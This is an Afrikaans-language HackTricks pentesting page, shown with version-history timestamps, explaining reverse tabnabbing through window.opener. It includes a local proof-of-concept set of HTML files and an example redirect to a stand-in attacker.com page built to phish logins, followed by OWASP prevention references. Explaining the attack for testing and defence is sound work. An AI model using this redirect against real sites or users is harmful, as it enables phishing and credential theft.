hacktricks/pentesting-web/reverse-tab-nabbing.md

114 lines
6.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
# Beskrywing
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
In 'n situasie waar 'n **aanvaller** die **`href`** argument van 'n **`<a`** tag met die eienskap **`target="_blank" rel="opener"`** kan **beheer** wat deur 'n slagoffer geklik gaan word, kan die **aanvaller** hierdie **skakel** na 'n web wat onder sy beheer is ( 'n **skadelike** **webwerf**). Dan, sodra die **slagoffer die skakel kliek** en toegang tot die aanvaller se webwerf verkry, sal hierdie **skadelike** **webwerf** in staat wees om die **oorspronklike** **bladsy** te **beheer** via die javascript-objek **`window.opener`**.\
As die bladsy nie **`rel="opener"` het nie, maar `target="_blank"` bevat en ook nie `rel="noopener"` het nie, kan dit ook kwesbaar wees.
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
'n Gewone manier om van hierdie gedrag misbruik te maak, sou wees om die ligging van die oorspronklike web te **verander** via `window.opener.location = https://attacker.com/victim.html` na 'n web wat deur die aanvaller beheer word en wat **lyk soos die oorspronklike een**, sodat dit die **aanmeldingsvorm** van die oorspronklike webwerf kan **naboots** en die gebruiker om geloofsbriewe kan vra.
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
Let egter daarop dat aangesien die **aanvaller nou die vensterobjek van die oorspronklike webwerf kan beheer**, hy dit op ander maniere kan misbruik om **stealthier aanvalle** uit te voer (dalk deur javascript-gebeurtenisse te wysig om inligting na 'n deur hom beheerde bediener uit te lek?)
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
# Oorsig
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
## Met terugskakel
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
Skakel tussen ouer- en kinderbladsye wanneer die voorkomingskenmerk nie gebruik word nie:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
## Sonder terugskakel
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
Skakel tussen ouer- en kinderbladsye wanneer die voorkomingskenmerk gebruik word:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
## Voorbeelde <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
Skep die volgende bladsye in 'n vouer en voer 'n webbediener uit met `python3 -m http.server`\
Toets dan, **besoek** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die skakel en let op hoe die **oorspronklike** **webwerf-URL verander**.
2021-05-01 15:23:19 +00:00
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
2024-02-11 02:07:06 +00:00
{% code title="skadelik.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
2024-02-11 02:07:06 +00:00
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
2021-05-01 15:23:19 +00:00
</html>
```
2024-02-11 02:07:06 +00:00
{% code title="skadelike_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2024-02-11 02:07:06 +00:00
## Toeganklike eienskappe <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
In die scenario waar 'n **kruis-oorsprong** toegang plaasvind (toegang oor verskillende domeine), is die eienskappe van die **window** JavaScript-klasinstansie, waarna verwys word deur die **opener** JavaScript-objekverwysing, wat deur 'n skadelike webwerf toeganklik is, beperk tot die volgende:
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
- **`opener.closed`**: Hierdie eienskap word gebruik om vas te stel of 'n venster gesluit is, en gee 'n booleaanse waarde terug.
- **`opener.frames`**: Hierdie eienskap bied toegang tot alle iframe-elemente binne die huidige venster.
- **`opener.length`**: Die aantal iframe-elemente wat in die huidige venster teenwoordig is, word deur hierdie eienskap teruggegee.
- **`opener.opener`**: 'n Verwysing na die venster wat die huidige venster geopen het, kan verkry word deur hierdie eienskap.
- **`opener.parent`**: Hierdie eienskap gee die ouer-venster van die huidige venster terug.
- **`opener.self`**: Toegang tot die huidige venster self word deur hierdie eienskap verskaf.
- **`opener.top`**: Hierdie eienskap gee die venster met die hoogste vlak in die blaaier terug.
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
In gevalle waar die domeine egter identies is, verkry die skadelike webwerf toegang tot alle eienskappe wat deur die [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript-objekverwysing blootgestel word.
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
# Voorkoming
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
Voorkomingsinligting word gedokumenteer in die [HTML5 Spiekbriefie](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
2021-05-01 15:23:19 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
2021-05-01 15:23:19 +00:00
2022-04-05 22:24:52 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>